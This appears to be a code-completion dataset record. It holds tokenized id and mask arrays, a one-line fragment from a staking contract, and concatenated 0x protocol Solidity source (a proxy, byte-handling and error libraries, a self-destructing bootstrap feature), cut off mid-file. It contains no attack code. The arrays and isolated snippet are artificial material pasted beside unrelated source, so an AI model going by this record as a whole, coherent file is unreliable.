0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
2874,
12,
11890,
5034,
516,
987,
310,
13,
1071,
666,
899,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xC01C24C1c63f405c394769CF3E5949CfCb9Ef093/sources/Nodestones.sol
|
0x2adC5C810600B09D55713C47bF7051E7DC969381
|
payable(stake9).transfer((balance * 2309) / 10000);
| 4,854,916 |
[
1,
20,
92,
22,
361,
39,
25,
39,
28,
22135,
713,
38,
5908,
40,
2539,
27,
3437,
39,
9462,
70,
42,
27,
6260,
21,
41,
27,
5528,
29,
8148,
7414,
21,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
8843,
429,
12,
334,
911,
29,
2934,
13866,
12443,
12296,
380,
576,
5082,
29,
13,
342,
12619,
1769,
282,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-utils/contracts/src/v06/LibBytesV06.sol";
import "./migrations/LibBootstrap.sol";
import "./features/Bootstrap.sol";
import "./storage/LibProxyStorage.sol";
import "./errors/LibProxyRichErrors.sol";
/// @dev An extensible proxy contract that serves as a universal entry point for
/// interacting with the 0x protocol.
contract ZeroEx {
// solhint-disable separate-by-one-line-in-contract,indent,var-name-mixedcase
using LibBytesV06 for bytes;
/// @dev Construct this contract and register the `Bootstrap` feature.
/// After constructing this contract, `bootstrap()` should be called
/// to seed the initial feature set.
constructor() public {
// Temporarily create and register the bootstrap feature.
// It will deregister itself after `bootstrap()` has been called.
Bootstrap bootstrap = new Bootstrap(msg.sender);
LibProxyStorage.getStorage().impls[bootstrap.bootstrap.selector] =
address(bootstrap);
}
// solhint-disable state-visibility
/// @dev Forwards calls to the appropriate implementation contract.
fallback() external payable {
bytes4 selector = msg.data.readBytes4(0);
address impl = getFunctionImplementation(selector);
if (impl == address(0)) {
_revertWithData(LibProxyRichErrors.NotImplementedError(selector));
}
(bool success, bytes memory resultData) = impl.delegatecall(msg.data);
if (!success) {
_revertWithData(resultData);
}
_returnWithData(resultData);
}
/// @dev Fallback for just receiving ether.
receive() external payable {}
// solhint-enable state-visibility
/// @dev Get the implementation contract of a registered function.
/// @param selector The function selector.
/// @return impl The implementation contract address.
function getFunctionImplementation(bytes4 selector)
public
view
returns (address impl)
{
return LibProxyStorage.getStorage().impls[selector];
}
/// @dev Revert with arbitrary bytes.
/// @param data Revert data.
function _revertWithData(bytes memory data) private pure {
assembly { revert(add(data, 32), mload(data)) }
}
/// @dev Return with arbitrary bytes.
/// @param data Return data.
function _returnWithData(bytes memory data) private pure {
assembly { return(add(data, 32), mload(data)) }
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
import "./errors/LibBytesRichErrorsV06.sol";
import "./errors/LibRichErrorsV06.sol";
library LibBytesV06 {
using LibBytesV06 for bytes;
/// @dev Gets the memory address for a byte array.
/// @param input Byte array to lookup.
/// @return memoryAddress Memory address of byte array. This
/// points to the header of the byte array which contains
/// the length.
function rawAddress(bytes memory input)
internal
pure
returns (uint256 memoryAddress)
{
assembly {
memoryAddress := input
}
return memoryAddress;
}
/// @dev Gets the memory address for the contents of a byte array.
/// @param input Byte array to lookup.
/// @return memoryAddress Memory address of the contents of the byte array.
function contentAddress(bytes memory input)
internal
pure
returns (uint256 memoryAddress)
{
assembly {
memoryAddress := add(input, 32)
}
return memoryAddress;
}
/// @dev Copies `length` bytes from memory location `source` to `dest`.
/// @param dest memory address to copy bytes to.
/// @param source memory address to copy bytes from.
/// @param length number of bytes to copy.
function memCopy(
uint256 dest,
uint256 source,
uint256 length
)
internal
pure
{
if (length < 32) {
// Handle a partial word by reading destination and masking
// off the bits we are interested in.
// This correctly handles overlap, zero lengths and source == dest
assembly {
let mask := sub(exp(256, sub(32, length)), 1)
let s := and(mload(source), not(mask))
let d := and(mload(dest), mask)
mstore(dest, or(s, d))
}
} else {
// Skip the O(length) loop when source == dest.
if (source == dest) {
return;
}
// For large copies we copy whole words at a time. The final
// word is aligned to the end of the range (instead of after the
// previous) to handle partial words. So a copy will look like this:
//
// ####
// ####
// ####
// ####
//
// We handle overlap in the source and destination range by
// changing the copying direction. This prevents us from
// overwriting parts of source that we still need to copy.
//
// This correctly handles source == dest
//
if (source > dest) {
assembly {
// We subtract 32 from `sEnd` and `dEnd` because it
// is easier to compare with in the loop, and these
// are also the addresses we need for copying the
// last bytes.
length := sub(length, 32)
let sEnd := add(source, length)
let dEnd := add(dest, length)
// Remember the last 32 bytes of source
// This needs to be done here and not after the loop
// because we may have overwritten the last bytes in
// source already due to overlap.
let last := mload(sEnd)
// Copy whole words front to back
// Note: the first check is always true,
// this could have been a do-while loop.
// solhint-disable-next-line no-empty-blocks
for {} lt(source, sEnd) {} {
mstore(dest, mload(source))
source := add(source, 32)
dest := add(dest, 32)
}
// Write the last 32 bytes
mstore(dEnd, last)
}
} else {
assembly {
// We subtract 32 from `sEnd` and `dEnd` because those
// are the starting points when copying a word at the end.
length := sub(length, 32)
let sEnd := add(source, length)
let dEnd := add(dest, length)
// Remember the first 32 bytes of source
// This needs to be done here and not after the loop
// because we may have overwritten the first bytes in
// source already due to overlap.
let first := mload(source)
// Copy whole words back to front
// We use a signed comparisson here to allow dEnd to become
// negative (happens when source and dest < 32). Valid
// addresses in local memory will never be larger than
// 2**255, so they can be safely re-interpreted as signed.
// Note: the first check is always true,
// this could have been a do-while loop.
// solhint-disable-next-line no-empty-blocks
for {} slt(dest, dEnd) {} {
mstore(dEnd, mload(sEnd))
sEnd := sub(sEnd, 32)
dEnd := sub(dEnd, 32)
}
// Write the first 32 bytes
mstore(dest, first)
}
}
}
}
/// @dev Returns a slices from a byte array.
/// @param b The byte array to take a slice from.
/// @param from The starting index for the slice (inclusive).
/// @param to The final index for the slice (exclusive).
/// @return result The slice containing bytes at indices [from, to)
function slice(
bytes memory b,
uint256 from,
uint256 to
)
internal
pure
returns (bytes memory result)
{
// Ensure that the from and to positions are valid positions for a slice within
// the byte array that is being used.
if (from > to) {
LibRichErrorsV06.rrevert(LibBytesRichErrorsV06.InvalidByteOperationError(
LibBytesRichErrorsV06.InvalidByteOperationErrorCodes.FromLessThanOrEqualsToRequired,
from,
to
));
}
if (to > b.length) {
LibRichErrorsV06.rrevert(LibBytesRichErrorsV06.InvalidByteOperationError(
LibBytesRichErrorsV06.InvalidByteOperationErrorCodes.ToLessThanOrEqualsLengthRequired,
to,
b.length
));
}
// Create a new bytes structure and copy contents
result = new bytes(to - from);
memCopy(
result.contentAddress(),
b.contentAddress() + from,
result.length
);
return result;
}
/// @dev Returns a slice from a byte array without preserving the input.
/// When `from == 0`, the original array will match the slice.
/// In other cases its state will be corrupted.
/// @param b The byte array to take a slice from. Will be destroyed in the process.
/// @param from The starting index for the slice (inclusive).
/// @param to The final index for the slice (exclusive).
/// @return result The slice containing bytes at indices [from, to)
function sliceDestructive(
bytes memory b,
uint256 from,
uint256 to
)
internal
pure
returns (bytes memory result)
{
// Ensure that the from and to positions are valid positions for a slice within
// the byte array that is being used.
if (from > to) {
LibRichErrorsV06.rrevert(LibBytesRichErrorsV06.InvalidByteOperationError(
LibBytesRichErrorsV06.InvalidByteOperationErrorCodes.FromLessThanOrEqualsToRequired,
from,
to
));
}
if (to > b.length) {
LibRichErrorsV06.rrevert(LibBytesRichErrorsV06.InvalidByteOperationError(
LibBytesRichErrorsV06.InvalidByteOperationErrorCodes.ToLessThanOrEqualsLengthRequired,
to,
b.length
));
}
// Create a new bytes structure around [from, to) in-place.
assembly {
result := add(b, from)
mstore(result, sub(to, from))
}
return result;
}
/// @dev Pops the last byte off of a byte array by modifying its length.
/// @param b Byte array that will be modified.
/// @return result The byte that was popped off.
function popLastByte(bytes memory b)
internal
pure
returns (bytes1 result)
{
if (b.length == 0) {
LibRichErrorsV06.rrevert(LibBytesRichErrorsV06.InvalidByteOperationError(
LibBytesRichErrorsV06.InvalidByteOperationErrorCodes.LengthGreaterThanZeroRequired,
b.length,
0
));
}
// Store last byte.
result = b[b.length - 1];
assembly {
// Decrement length of byte array.
let newLen := sub(mload(b), 1)
mstore(b, newLen)
}
return result;
}
/// @dev Tests equality of two byte arrays.
/// @param lhs First byte array to compare.
/// @param rhs Second byte array to compare.
/// @return equal True if arrays are the same. False otherwise.
function equals(
bytes memory lhs,
bytes memory rhs
)
internal
pure
returns (bool equal)
{
// Keccak gas cost is 30 + numWords * 6. This is a cheap way to compare.
// We early exit on unequal lengths, but keccak would also correctly
// handle this.
return lhs.length == rhs.length && keccak256(lhs) == keccak256(rhs);
}
/// @dev Reads an address from a position in a byte array.
/// @param b Byte array containing an address.
/// @param index Index in byte array of address.
/// @return result address from byte array.
function readAddress(
bytes memory b,
uint256 index
)
internal
pure
returns (address result)
{
if (b.length < index + 20) {
LibRichErrorsV06.rrevert(LibBytesRichErrorsV06.InvalidByteOperationError(
LibBytesRichErrorsV06.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsTwentyRequired,
b.length,
index + 20 // 20 is length of address
));
}
// Add offset to index:
// 1. Arrays are prefixed by 32-byte length parameter (add 32 to index)
// 2. Account for size difference between address length and 32-byte storage word (subtract 12 from index)
index += 20;
// Read address from array memory
assembly {
// 1. Add index to address of bytes array
// 2. Load 32-byte word from memory
// 3. Apply 20-byte mask to obtain address
result := and(mload(add(b, index)), 0xffffffffffffffffffffffffffffffffffffffff)
}
return result;
}
/// @dev Writes an address into a specific position in a byte array.
/// @param b Byte array to insert address into.
/// @param index Index in byte array of address.
/// @param input Address to put into byte array.
function writeAddress(
bytes memory b,
uint256 index,
address input
)
internal
pure
{
if (b.length < index + 20) {
LibRichErrorsV06.rrevert(LibBytesRichErrorsV06.InvalidByteOperationError(
LibBytesRichErrorsV06.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsTwentyRequired,
b.length,
index + 20 // 20 is length of address
));
}
// Add offset to index:
// 1. Arrays are prefixed by 32-byte length parameter (add 32 to index)
// 2. Account for size difference between address length and 32-byte storage word (subtract 12 from index)
index += 20;
// Store address into array memory
assembly {
// The address occupies 20 bytes and mstore stores 32 bytes.
// First fetch the 32-byte word where we'll be storing the address, then
// apply a mask so we have only the bytes in the word that the address will not occupy.
// Then combine these bytes with the address and store the 32 bytes back to memory with mstore.
// 1. Add index to address of bytes array
// 2. Load 32-byte word from memory
// 3. Apply 12-byte mask to obtain extra bytes occupying word of memory where we'll store the address
let neighbors := and(
mload(add(b, index)),
0xffffffffffffffffffffffff0000000000000000000000000000000000000000
)
// Make sure input address is clean.
// (Solidity does not guarantee this)
input := and(input, 0xffffffffffffffffffffffffffffffffffffffff)
// Store the neighbors and address into memory
mstore(add(b, index), xor(input, neighbors))
}
}
/// @dev Reads a bytes32 value from a position in a byte array.
/// @param b Byte array containing a bytes32 value.
/// @param index Index in byte array of bytes32 value.
/// @return result bytes32 value from byte array.
function readBytes32(
bytes memory b,
uint256 index
)
internal
pure
returns (bytes32 result)
{
if (b.length < index + 32) {
LibRichErrorsV06.rrevert(LibBytesRichErrorsV06.InvalidByteOperationError(
LibBytesRichErrorsV06.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsThirtyTwoRequired,
b.length,
index + 32
));
}
// Arrays are prefixed by a 256 bit length parameter
index += 32;
// Read the bytes32 from array memory
assembly {
result := mload(add(b, index))
}
return result;
}
/// @dev Writes a bytes32 into a specific position in a byte array.
/// @param b Byte array to insert <input> into.
/// @param index Index in byte array of <input>.
/// @param input bytes32 to put into byte array.
function writeBytes32(
bytes memory b,
uint256 index,
bytes32 input
)
internal
pure
{
if (b.length < index + 32) {
LibRichErrorsV06.rrevert(LibBytesRichErrorsV06.InvalidByteOperationError(
LibBytesRichErrorsV06.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsThirtyTwoRequired,
b.length,
index + 32
));
}
// Arrays are prefixed by a 256 bit length parameter
index += 32;
// Read the bytes32 from array memory
assembly {
mstore(add(b, index), input)
}
}
/// @dev Reads a uint256 value from a position in a byte array.
/// @param b Byte array containing a uint256 value.
/// @param index Index in byte array of uint256 value.
/// @return result uint256 value from byte array.
function readUint256(
bytes memory b,
uint256 index
)
internal
pure
returns (uint256 result)
{
result = uint256(readBytes32(b, index));
return result;
}
/// @dev Writes a uint256 into a specific position in a byte array.
/// @param b Byte array to insert <input> into.
/// @param index Index in byte array of <input>.
/// @param input uint256 to put into byte array.
function writeUint256(
bytes memory b,
uint256 index,
uint256 input
)
internal
pure
{
writeBytes32(b, index, bytes32(input));
}
/// @dev Reads an unpadded bytes4 value from a position in a byte array.
/// @param b Byte array containing a bytes4 value.
/// @param index Index in byte array of bytes4 value.
/// @return result bytes4 value from byte array.
function readBytes4(
bytes memory b,
uint256 index
)
internal
pure
returns (bytes4 result)
{
if (b.length < index + 4) {
LibRichErrorsV06.rrevert(LibBytesRichErrorsV06.InvalidByteOperationError(
LibBytesRichErrorsV06.InvalidByteOperationErrorCodes.LengthGreaterThanOrEqualsFourRequired,
b.length,
index + 4
));
}
// Arrays are prefixed by a 32 byte length field
index += 32;
// Read the bytes4 from array memory
assembly {
result := mload(add(b, index))
// Solidity does not require us to clean the trailing bytes.
// We do it anyway
result := and(result, 0xFFFFFFFF00000000000000000000000000000000000000000000000000000000)
}
return result;
}
/// @dev Writes a new length to a byte array.
/// Decreasing length will lead to removing the corresponding lower order bytes from the byte array.
/// Increasing length may lead to appending adjacent in-memory bytes to the end of the byte array.
/// @param b Bytes array to write new length to.
/// @param length New length of byte array.
function writeLength(bytes memory b, uint256 length)
internal
pure
{
assembly {
mstore(b, length)
}
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
library LibBytesRichErrorsV06 {
enum InvalidByteOperationErrorCodes {
FromLessThanOrEqualsToRequired,
ToLessThanOrEqualsLengthRequired,
LengthGreaterThanZeroRequired,
LengthGreaterThanOrEqualsFourRequired,
LengthGreaterThanOrEqualsTwentyRequired,
LengthGreaterThanOrEqualsThirtyTwoRequired,
LengthGreaterThanOrEqualsNestedBytesLengthRequired,
DestinationLengthGreaterThanOrEqualSourceLengthRequired
}
// bytes4(keccak256("InvalidByteOperationError(uint8,uint256,uint256)"))
bytes4 internal constant INVALID_BYTE_OPERATION_ERROR_SELECTOR =
0x28006595;
// solhint-disable func-name-mixedcase
function InvalidByteOperationError(
InvalidByteOperationErrorCodes errorCode,
uint256 offset,
uint256 required
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
INVALID_BYTE_OPERATION_ERROR_SELECTOR,
errorCode,
offset,
required
);
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
library LibRichErrorsV06 {
// bytes4(keccak256("Error(string)"))
bytes4 internal constant STANDARD_ERROR_SELECTOR = 0x08c379a0;
// solhint-disable func-name-mixedcase
/// @dev ABI encode a standard, string revert error payload.
/// This is the same payload that would be included by a `revert(string)`
/// solidity statement. It has the function signature `Error(string)`.
/// @param message The error string.
/// @return The ABI encoded error.
function StandardError(string memory message)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
STANDARD_ERROR_SELECTOR,
bytes(message)
);
}
// solhint-enable func-name-mixedcase
/// @dev Reverts an encoded rich revert reason `errorData`.
/// @param errorData ABI encoded error data.
function rrevert(bytes memory errorData)
internal
pure
{
assembly {
revert(add(errorData, 0x20), mload(errorData))
}
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-utils/contracts/src/v06/errors/LibRichErrorsV06.sol";
import "../errors/LibProxyRichErrors.sol";
library LibBootstrap {
/// @dev Magic bytes returned by the bootstrapper to indicate success.
/// This is `keccack('BOOTSTRAP_SUCCESS')`.
bytes4 internal constant BOOTSTRAP_SUCCESS = 0xd150751b;
using LibRichErrorsV06 for bytes;
/// @dev Perform a delegatecall and ensure it returns the magic bytes.
/// @param target The call target.
/// @param data The call data.
function delegatecallBootstrapFunction(
address target,
bytes memory data
)
internal
{
(bool success, bytes memory resultData) = target.delegatecall(data);
if (!success ||
resultData.length != 32 ||
abi.decode(resultData, (bytes4)) != BOOTSTRAP_SUCCESS)
{
LibProxyRichErrors.BootstrapCallFailedError(target, resultData).rrevert();
}
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
library LibProxyRichErrors {
// solhint-disable func-name-mixedcase
function NotImplementedError(bytes4 selector)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
bytes4(keccak256("NotImplementedError(bytes4)")),
selector
);
}
function InvalidBootstrapCallerError(address actual, address expected)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
bytes4(keccak256("InvalidBootstrapCallerError(address,address)")),
actual,
expected
);
}
function InvalidDieCallerError(address actual, address expected)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
bytes4(keccak256("InvalidDieCallerError(address,address)")),
actual,
expected
);
}
function BootstrapCallFailedError(address target, bytes memory resultData)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
bytes4(keccak256("BootstrapCallFailedError(address,bytes)")),
target,
resultData
);
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "@0x/contracts-utils/contracts/src/v06/errors/LibRichErrorsV06.sol";
import "../migrations/LibBootstrap.sol";
import "../storage/LibProxyStorage.sol";
import "./IBootstrap.sol";
/// @dev Detachable `bootstrap()` feature.
contract Bootstrap is
IBootstrap
{
// solhint-disable state-visibility,indent
/// @dev The ZeroEx contract.
/// This has to be immutable to persist across delegatecalls.
address immutable private _deployer;
/// @dev The implementation address of this contract.
/// This has to be immutable to persist across delegatecalls.
address immutable private _implementation;
/// @dev The deployer.
/// This has to be immutable to persist across delegatecalls.
address immutable private _bootstrapCaller;
// solhint-enable state-visibility,indent
using LibRichErrorsV06 for bytes;
/// @dev Construct this contract and set the bootstrap migration contract.
/// After constructing this contract, `bootstrap()` should be called
/// to seed the initial feature set.
/// @param bootstrapCaller The allowed caller of `bootstrap()`.
constructor(address bootstrapCaller) public {
_deployer = msg.sender;
_implementation = address(this);
_bootstrapCaller = bootstrapCaller;
}
/// @dev Bootstrap the initial feature set of this contract by delegatecalling
/// into `target`. Before exiting the `bootstrap()` function will
/// deregister itself from the proxy to prevent being called again.
/// @param target The bootstrapper contract address.
/// @param callData The call data to execute on `target`.
function bootstrap(address target, bytes calldata callData) external override {
// Only the bootstrap caller can call this function.
if (msg.sender != _bootstrapCaller) {
LibProxyRichErrors.InvalidBootstrapCallerError(
msg.sender,
_bootstrapCaller
).rrevert();
}
// Deregister.
LibProxyStorage.getStorage().impls[this.bootstrap.selector] = address(0);
// Self-destruct.
Bootstrap(_implementation).die();
// Call the bootstrapper.
LibBootstrap.delegatecallBootstrapFunction(target, callData);
}
/// @dev Self-destructs this contract.
/// Can only be called by the deployer.
function die() external {
if (msg.sender != _deployer) {
LibProxyRichErrors.InvalidDieCallerError(msg.sender, _deployer).rrevert();
}
selfdestruct(msg.sender);
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
import "./LibStorage.sol";
/// @dev Storage helpers for the proxy contract.
library LibProxyStorage {
/// @dev Storage bucket for proxy contract.
struct Storage {
// Mapping of function selector -> function implementation
mapping(bytes4 => address) impls;
// The owner of the proxy contract.
address owner;
}
/// @dev Get the storage bucket for this contract.
function getStorage() internal pure returns (Storage storage stor) {
uint256 storageSlot = LibStorage.getStorageSlot(
LibStorage.StorageId.Proxy
);
// Dip into assembly to change the slot pointed to by the local
// variable `stor`.
// See https://solidity.readthedocs.io/en/v0.6.8/assembly.html?highlight=slot#access-to-external-variables-functions-and-libraries
assembly { stor_slot := storageSlot }
}
}
/*
Copyright 2020 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.6.5;
pragma experimental ABIEncoderV2;
/// @dev Common storage helpers
library LibStorage {
/// @dev What to bit-shift a storage ID by to get its slot.
/// This gives us a maximum of 2**128 inline fields in each bucket.
uint256 private constant STORAGE_SLOT_EXP = 128;
/// @dev Storage IDs for feature storage buckets.
/// WARNING: APPEND-ONLY.
enum StorageId {
Proxy,
SimpleFunctionRegistry,
